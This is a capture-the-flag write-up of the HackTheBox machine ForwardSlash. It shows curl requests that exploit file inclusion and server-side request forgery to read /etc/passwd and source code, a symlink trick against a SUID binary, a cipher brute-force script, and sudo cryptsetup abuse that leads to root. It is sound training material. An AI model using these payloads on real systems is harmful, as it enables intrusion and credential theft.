HTB: ForwardSlash Writeup

ForwardSlash - HackTheBox Writeup

Machine Information

AttributeDetails
NameForwardSlash
OSLinux
DifficultyHard
Points40
Release Date04 Apr 2020
IP Address10.10.10.183
AuthorInfoSecJack & chivato

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

ForwardSlash is a hard-difficulty Linux machine that simulates a compromised web server scenario. The attack path involves discovering a backup virtual host through enumeration, exploiting a Local File Inclusion (LFI) vulnerability via Server-Side Request Forgery (SSRF) to read hardcoded FTP credentials, lateral movement through a custom SUID binary that bypasses symlink protections, and finally privilege escalation by breaking a custom encryption algorithm to decrypt a LUKS volume containing the root SSH key. The box emphasizes real-world misconfigurations, custom cryptography weaknesses, and creative privilege escalation techniques.

TL;DR: Vhost enumeration → SSRF/LFI reads hardcoded credentials → SSH as chiv → SUID binary + symlink bypass reads pain’s password → Custom cipher brute-force reveals LUKS key → Mount encrypted image containing root’s SSH key.


Reconnaissance

Port Scanning

Terminal window
# Quick scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.10.183
# Detailed service enumeration
nmap -p 22,80 -sC -sV 10.10.10.183

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache/2.4.29 (Ubuntu)

Service Enumeration

HTTP (Port 80):

Navigating to http://10.10.10.183 immediately redirects to forwardslash.htb, indicating virtual host routing. After adding the hostname to /etc/hosts:

Terminal window
echo "10.10.10.183 forwardslash.htb" | sudo tee -a /etc/hosts

The site displays a defacement message from the “Backslash Gang” with hints about XML and automatic FTP functionality.

Directory Enumeration:

Terminal window
# Initial scan with common extensions
gobuster dir -u http://forwardslash.htb -w /usr/share/wordlists/dirb/common.txt -x php,txt

Key Finding: /note.txt discovered, containing:

Pain, we were hacked by some skids that call themselves the "Backslash Gang"...
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.
-chiv

Virtual Host Discovery:

The note hints at a backup site. Enumerating virtual hosts:

Terminal window
# Scan for additional vhosts
gobuster vhost -u http://forwardslash.htb/ -w /usr/share/wordlists/dirb/common.txt | grep 302

Result: backup.forwardslash.htb identified. Added to /etc/hosts:

Terminal window
echo "10.10.10.183 backup.forwardslash.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

  1. Virtual Host Exposure: Backup subdomain backup.forwardslash.htb accessible, potentially containing sensitive functionality
  2. Web Application: Registration and login functionality present, suggesting user-controlled input vectors
  3. Defacement Message Hints: References to XML and FTP suggest potential XXE or credential disclosure vectors

Initial Foothold

Web Application Analysis

Registration & Login:

The backup site at http://backup.forwardslash.htb provides user registration. After registering an account (e.g., someuser:somepass) and logging in, the dashboard presents several features including a disabled “Change Your Profile Picture” form.

Directory Enumeration on Backup Site:

Terminal window
# Enumerate backup subdomain
gobuster dir -u http://backup.forwardslash.htb -w /usr/share/wordlists/dirb/common.txt -x php,txt -s 200,302

Key Findings:

  • /api.php - Redirects to login
  • /dev/ - Returns 403 Access Denied with message “Access Denied From [attacker_ip]“

Local File Inclusion (LFI) via SSRF

The “Change Your Profile Picture” feature in /profilepicture.php has disabled HTML form inputs but accepts a url parameter. Testing for LFI:

Terminal window
# Capture session cookie from browser (F12 → Storage → PHPSESSID)
# Test LFI vulnerability
curl -X POST http://backup.forwardslash.htb/profilepicture.php \
-d "url=../../../etc/passwd&submit=submit" \
-b "PHPSESSID=<your_session_cookie>"

Result: Successfully reads /etc/passwd, confirming LFI vulnerability.

Server-Side Request Forgery (SSRF) to Access /dev

Since /dev/ blocks external access but the application has LFI, we can leverage SSRF to access it as localhost:

Terminal window
# Access /dev endpoint via SSRF
curl -X POST http://backup.forwardslash.htb/profilepicture.php \
-d "url=http://backup.forwardslash.htb/dev&submit=submit" \
-b "PHPSESSID=<your_session_cookie>"

Response: Returns HTML containing a form named xmltest that submits XML to /dev/index.php.

Direct Credential Disclosure via LFI

Rather than pursuing the XXE vector suggested by the XML form, the more direct approach is to read the PHP source code directly using PHP filter wrappers:

Terminal window
# Read /dev/index.php source using php://filter
curl -X POST http://backup.forwardslash.htb/profilepicture.php \
-d "url=php://filter/convert.base64-encode/resource=dev/index.php&submit=submit" \
-b "PHPSESSID=<your_session_cookie>"

Result: Returns base64-encoded PHP source. Decoding reveals hardcoded FTP credentials:

// Hardcoded credentials in dev/index.php
$ftp_user = "chiv";
$ftp_pass = "N0bodyL1kesBack/";

SSH Access

Testing credential reuse for SSH:

Terminal window
# Test credentials against SSH
ssh chiv@10.10.10.183
# Password: N0bodyL1kesBack/

Success: Gained shell as user chiv. However, user.txt is not in this user’s home directory, indicating lateral movement is required.


Privilege Escalation

Lateral Movement: chiv → pain

Enumeration as chiv:

Terminal window
# Check SUID binaries
find / -perm -4000 -type f 2>/dev/null

Key Finding: Custom SUID binary /usr/bin/backup owned by pain:

Terminal window
ls -la /usr/bin/backup
# -rwsr-xr-x 1 pain pain 16896 Mar 06 2020 /usr/bin/backup

Binary Behavior:

Terminal window
# Execute the backup binary
/usr/bin/backup

Output:

----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 14:28:41
ERROR: <redacted> Does Not Exist or Is Not Accessible By Me, Exiting...

The binary attempts to read a file whose name is the MD5 hash of the current time (HH:MM:SS). Verification:

Terminal window
# Confirm MD5 hash matches time
echo -n "14:28:41" | md5sum
# <redacted>

Exploitation Strategy:

The intended exploitation is to create a file with the MD5 name as a symlink pointing to a privileged file. However, Linux kernel fs.protected_symlinks protection prevents SUID binaries from following symlinks in world-writable sticky directories (/tmp, /dev/shm).

Bypass Technique:

Create the symlink in a non-sticky directory owned by chiv (e.g., /home/chiv/bk):

Terminal window
# Create working directory
mkdir /home/chiv/bk
cd /home/chiv/bk
# Target file: /var/backups/config.php.bak (owned by pain)
# Create symlink with MD5-named file pointing to target
date +"%H:%M:%S" | echo -n $(xargs) | md5sum | cut -d " " -f 1 | xargs -I {} ln -s /var/backups/config.php.bak {}
# Immediately execute backup
/usr/bin/backup

Result: Successfully reads config.php.bak, revealing database credentials:

<?php
/* Database config */
$db_server = "localhost";
$db_username = "pain";
$db_password = "db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704";
$db_database = "site";
?>

SSH as pain:

Terminal window
# Test password reuse
ssh pain@10.10.10.183
# Password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704

Success: Access gained as pain.

Terminal window
cat /home/pain/user.txt
# <redacted>

Privilege Escalation: pain → root

Enumeration as pain:

Terminal window
# Check sudo privileges
sudo -l

Output:

User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup *
(root) NOPASSWD: /bin/umount *

The user can decrypt and mount LUKS volumes without a password.

Home Directory Analysis:

Terminal window
ls -la /home/pain/

Key Findings:

  • note.txt: Mentions encrypted files and “crypto magic on the key”
  • encryptorinator/ directory containing:
    • ciphertext (encrypted data)
    • encrypter.py (custom encryption script)

Encryption Analysis:

# encrypter.py implements a custom cipher
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)

How the Cipher Works:

  1. For each character in the key (outer loop)
  2. For each character in the message (inner loop)
  3. Add: current_char + key_char + previous_char (or last_char if position 0)
  4. Wrap around if result > 255 (modulo 256 operation)

Decryption Strategy:

The encryption is vulnerable to brute-force because:

  1. Key length is limited (likely < 100 characters based on ciphertext length)
  2. Each key length produces a unique decryption pattern
  3. Plaintext contains the word “key” (hinted in note.txt)

Brute-Force Script:

#!/usr/bin/env python3
def decrypt_modified(msg, key_length):
"""
First stage: reverse the fixed character-position additions
This removes the dependency on previous characters
"""
msg = list(msg)
for _ in range(key_length):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - ord(msg[-1])
else:
tmp = ord(msg[i]) - ord(msg[i-1])
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return msg
def brute_force_offset(msg):
"""
Second stage: brute force the sum of key characters (Caesar shift)
"""
results = []
for offset in range(256):
test_msg = msg[:]
for i in range(len(test_msg)):
tmp = ord(test_msg[i]) - offset
while tmp < 0:
tmp += 256
test_msg[i] = chr(tmp)
plaintext = ''.join(test_msg)
# Filter for likely plaintext containing "key"
if "key" in plaintext.lower():
results.append((offset, plaintext))
return results
# Read ciphertext
with open("ciphertext", "rb") as f:
ciphertext = f.read().decode('latin-1')
# Brute force key lengths 1-100
print("[*] Brute-forcing key length and offset...")
for klen in range(1, 100):
stage1 = decrypt_modified(ciphertext, klen)
matches = brute_force_offset(stage1)
if matches:
print(f"\n[+] Key length {klen}, found {len(matches)} candidate(s):")
for offset, text in matches:
# Filter printable results
if text.count('key') > 0:
print(f" Offset {offset}: {text[:200]}")

Execution:

Terminal window
cd /home/pain/encryptorinator
python3 decrypt.py

Result (key length 17, offset 115):

you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery:
cB!6%sdH8Lj^@Y*$C2cf

LUKS Volume Decryption

Identify Recovery Image:

Terminal window
ls -la /var/backups/recovery/
# -rw-r----- 1 root backupoperator 1048576 ... encrypted_backup.img
# Verify group membership
id
# uid=1000(pain) gid=1000(pain) groups=1000(pain),1002(backupoperator)

The user pain is in the backupoperator group, granting read access.

Decrypt and Mount LUKS Volume:

Terminal window
# Create mount point in home directory (required by sudo restrictions)
mkdir ~/mnt
# Decrypt LUKS volume using recovered password
sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
# Enter passphrase: cB!6%sdH8Lj^@Y*$C2cf
# Mount the decrypted mapper device
sudo /bin/mount /dev/mapper/backup ~/mnt/
# Explore mounted volume
ls -la ~/mnt/

Contents:

-rw-r--r-- 1 root root 1675 ... id_rsa

Root Access:

Terminal window
# Copy root's SSH private key
cp ~/mnt/id_rsa /tmp/root_key
chmod 600 /tmp/root_key
# SSH as root
ssh -i /tmp/root_key root@10.10.10.183

Success:

Terminal window
cat /root/root.txt
# <redacted>

Attack Chain Summary

Port 80 enumeration → note.txt hints at backup site
Vhost discovery → backup.forwardslash.htb
LFI in profilepicture.php → SSRF to access /dev endpoint
php://filter reads dev/index.php source → Hardcoded FTP creds (chiv:N0bodyL1kesBack/)
SSH as chiv
SUID binary /usr/bin/backup (owned by pain) → Time-based MD5 filename
Symlink in non-sticky directory (/home/chiv/bk) bypasses fs.protected_symlinks
Read /var/backups/config.php.bak → pain's password (db1f73a72...)
SSH as pain → user.txt
Custom cipher brute-force (key_length=17, offset=115) → LUKS password (cB!6%sdH8Lj^@Y*$C2cf)
sudo cryptsetup + mount /var/backups/recovery/encrypted_backup.img
Extract root's id_rsa → SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterDirectory/vhost brute-forcing
curlManual HTTP request crafting for LFI/SSRF
python3Custom decryption script for cipher brute-force
cryptsetupLUKS volume decryption
mountFilesystem mounting
sshRemote access

Key Learnings

Techniques Practiced

  • Virtual host enumeration to discover hidden subdomains
  • LFI exploitation via disabled HTML forms using direct POST requests
  • SSRF to bypass IP-based access controls and reach internal endpoints
  • PHP filter wrappers (php://filter) for source code disclosure
  • Linux symlink protection bypass by avoiding sticky world-writable directories
  • Custom cryptography analysis and brute-forcing for weak cipher implementations
  • LUKS volume forensics and decryption with sudo privileges
  • Privilege escalation through custom SUID binaries with time-based file access

Lessons Learned

  1. Always check for credential reuse across services. The FTP password worked for SSH, and the database password did as well.

  2. Disabled HTML form inputs are client-side only. Use browser dev tools or curl to bypass frontend restrictions.

  3. PHP filter wrappers are powerful for source disclosure. When LFI is present, php://filter/convert.base64-encode/resource= can read source code that would otherwise execute.

  4. Understand kernel symlink protections. fs.protected_symlinks=1 prevents following symlinks in sticky directories (/tmp, /dev/shm) when the follower’s EUID differs from the link owner. Non-sticky directories owned by the user bypass this.

  5. Custom crypto is almost always broken. The encrypter’s weakness was that the key length and offset could be brute-forced independently. Professional cryptography (AES, RSA) should always be preferred.

  6. Sudo restrictions can be incomplete. While pain could only mount to ./mnt/, the ability to decrypt any LUKS volume and mount it was sufficient for privilege escalation.

  7. Backup files often contain production credentials. Always enumerate /var/backups/ and similar directories during privilege escalation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup for ForwardSlash (Document No. D20.100.79) by TRX - Used for explanatory context on XXE vectors, LUKS operations, and cipher analysis methodology